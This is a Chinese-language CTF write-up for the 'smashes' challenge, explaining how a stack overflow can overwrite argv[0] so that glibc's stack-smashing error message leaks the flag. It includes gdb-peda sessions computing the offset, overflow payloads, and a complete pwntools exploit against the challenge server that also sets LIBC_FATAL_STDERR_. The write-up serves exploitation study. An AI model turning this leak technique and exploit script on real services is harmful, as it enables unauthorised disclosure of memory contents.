栈溢出之利用__stack_chk_fail

程序的主函数很明显_IO_gets存在栈溢出。

查看开启的保护机制,开了一大堆。。。

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

这题是国外的一个CTF题目,他利用的是fortify的报错泄露信息,在栈溢出的时候,数组越界写入,导致 canary值被修改。在函数退出时检查canary,发现canary被修改,函数不能安全返回,call到__stack_chk_fail打印argv[0]这个指针指向的字符串,默认是程序的名字。所以如果我们把它覆盖为flag的地址时,它就会把flag给打印出来。

void
__attribute__ ((noreturn))
__stack_chk_fail (void)
  {
     __fortify_fail ("stack smashing detected");
  }
void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
  {
    /* The loop is added only to keep gcc happy.  */
    while (1)
      __libc_message (2, "*** %s ***: %s terminated\n",
              msg, __libc_argv[0] ?: "<unknown>");
  }

我们可以自己尝试将程序溢出

@ubuntu:~/Desktop$ python -c 'print "A"*0x200+"\n"+"a"'| ./smashes
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./smashes terminated
Aborted (core dumped)

下一步就是计算argv[0]到缓冲区的距离

gdb-peda$ b *0x0040080e
Breakpoint 1 at 0x40080e
gdb-peda$ r
Starting program: /home/longlong/Desktop/smashes 
Hello!
What's your name? [----------------------------------registers-----------------------------------]
RAX: 0x19 
RBX: 0x0 
RCX: 0x7ffff7b00710 (<__write_nocancel+7>:    cmp    rax,0xfffffffffffff001)
RDX: 0x19 
RSI: 0x7ffff7dd59e0 --> 0x0 
RDI: 0x7fffffffdcb0 --> 0x7ffff7a25078 --> 0xc001200003322 
RBP: 0x0 
RSP: 0x7fffffffdcb0 --> 0x7ffff7a25078 --> 0xc001200003322 
RIP: 0x40080e (call   0x4006c0 <_IO_gets@plt>)
R8 : 0x7ffff7fdb740 (0x00007ffff7fdb740)
R9 : 0x400934 ("Hello!\nWhat's your name? ")
R10: 0x7ffff7fdb740 (0x00007ffff7fdb740)
R11: 0x246 
R12: 0x4006ee (xor    ebp,ebp)
R13: 0x7fffffffdec0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400804:    xor    eax,eax
   0x400806:    call   0x4006b0 <__printf_chk@plt>
   0x40080b:    mov    rdi,rsp
=> 0x40080e:    call   0x4006c0 <_IO_gets@plt>
   0x400813:    test   rax,rax
   0x400816:    je     0x40089f
   0x40081c:    mov    rdx,rsp
   0x40081f:    mov    esi,0x400960
Guessed arguments:
arg[0]: 0x7fffffffdcb0 --> 0x7ffff7a25078 --> 0xc001200003322 
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdcb0 --> 0x7ffff7a25078 --> 0xc001200003322 
0008| 0x7fffffffdcb8 --> 0x7ffff7ff74c0 --> 0x7ffff7a15000 --> 0x10102464c457f 
0016| 0x7fffffffdcc0 --> 0x7fffffffde10 --> 0x0 
0024| 0x7fffffffdcc8 --> 0x7ffff7ff7a10 --> 0x400458 ("GLIBC_2.2.5")
0032| 0x7fffffffdcd0 --> 0x1 
0040| 0x7fffffffdcd8 --> 0x7ffff7ffe520 --> 0x7ffff7ffe480 --> 0x7ffff7ff79c8 --> 0x7ffff7ffe1c8 --> 0x0 
0048| 0x7fffffffdce0 --> 0x7ffff7ffe1c8 --> 0x0 
0056| 0x7fffffffdce8 --> 0x7ffff7de4961 (<_dl_lookup_symbol_x+305>:    cmp    eax,0x0)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040080e in ?? ()
gdb-peda$ find /home
Searching for '/home' in: None ranges
Found 8 results, display max 8 items:
[stack] : 0x7fffffffe253 ("/home/longlong/Desktop/smashes")
[stack] : 0x7fffffffeafc ("/home/longlong/.virtualenvs")
[stack] : 0x7fffffffeb69 ("/home/longlong/Devel")
[stack] : 0x7fffffffec50 ("/home/longlong/.virtualenvs")
[stack] : 0x7fffffffec70 ("/home/longlong/Desktop")
[stack] : 0x7fffffffed82 ("/home/longlong")
[stack] : 0x7fffffffefa5 ("/home/longlong/.Xauthority")
[stack] : 0x7fffffffefd9 ("/home/longlong/Desktop/smashes")
gdb-peda$ find 0x7fffffffe253
Searching for '0x7fffffffe253' in: None ranges
Found 2 results, display max 2 items:
   libc : 0x7ffff7dd4018 --> 0x7fffffffe253 ("/home/longlong/Desktop/smashes")
[stack] : 0x7fffffffdec8 --> 0x7fffffffe253 ("/home/longlong/Desktop/smashes") 
gdb-peda$ distance $rsp 0x7fffffffdec8
From 0x7fffffffdcb0 to 0x7fffffffdec8: 536 bytes, 134 dwords

通过gdb计算可以知道argv[0]到缓冲区的距离是0x218字节。

查找发现flag同样存储在制度存储器0x400d20这个位置

gdb-peda$ find PCTF
Searching for 'PCTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d20 ("PCTF{Here's the flag on server}")
smashes : 0x600d20 ("PCTF{Here's the flag on server}")

本地覆盖结果如下:

@ubuntu:~/Desktop$ python -c 'print "a"*0x218+"\x20\x0d\x40\x00\x00\x00\x00\x00"+"\n"+"a"' | ./smashes
Hello!
What's your name? Nice to meet you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: PCTF{Here's the flag on server} terminated
Aborted (core dumped)

提示flag在服务器上,然而远程连接过去是不会成功的。

注意不要用原来flag的地址覆盖,因为原来存储flag的地方会被overwrite。但是由于ELF的映射方式,此flag会被映射两次,另外一个地方flag的内容不会变。

原因是stack_chk_fail会调用libc_message

void
__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap; 
  int fd = -1; 
  va_start (ap, fmt);
  /* Open a descriptor for /dev/tty unless the user explicitly
     requests errors on standard error.  */
  const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
  if (on_2 == NULL || *on_2 == '\0')
    fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
  if (fd == -1) 
    fd = STDERR_FILENO;
  /*......*/
}

如果LIBC_FATALSTDERR环境变量没有设置或者为空,stderr会redirect到_PATH_TTY,通常是/dev/tty,因此错误信息将不会输出到stderr而是服务端可见的设备。
所以我们必须设置这个环境变量,正好可以用这个环境变量去覆盖flag的内容。

最终exp:

from pwn import *
old_flag_addr = 0x600d20
new_flag_addr = 0x400d20
#p = process('./smashes')
p = remote('pwn.jarvisoj.com', 9877)
p.recvuntil("name?")
payload = "a"*0x218 + p64(new_flag_addr) 
payload += p64(0) + p64(old_flag_addr)
p.sendline(payload)
p.recvuntil("flag: ")
env = "LIBC_FATAL_STDERR_=1"
p.sendline(env)
flag = p.recv()
print flag

根据glibc的源码可知,只要程序开了canary栈保护,就可以覆盖argv[0]来泄露想要的信息(&set LIBC_FATALSTDERR=1)。

有钱的捧个钱场
0%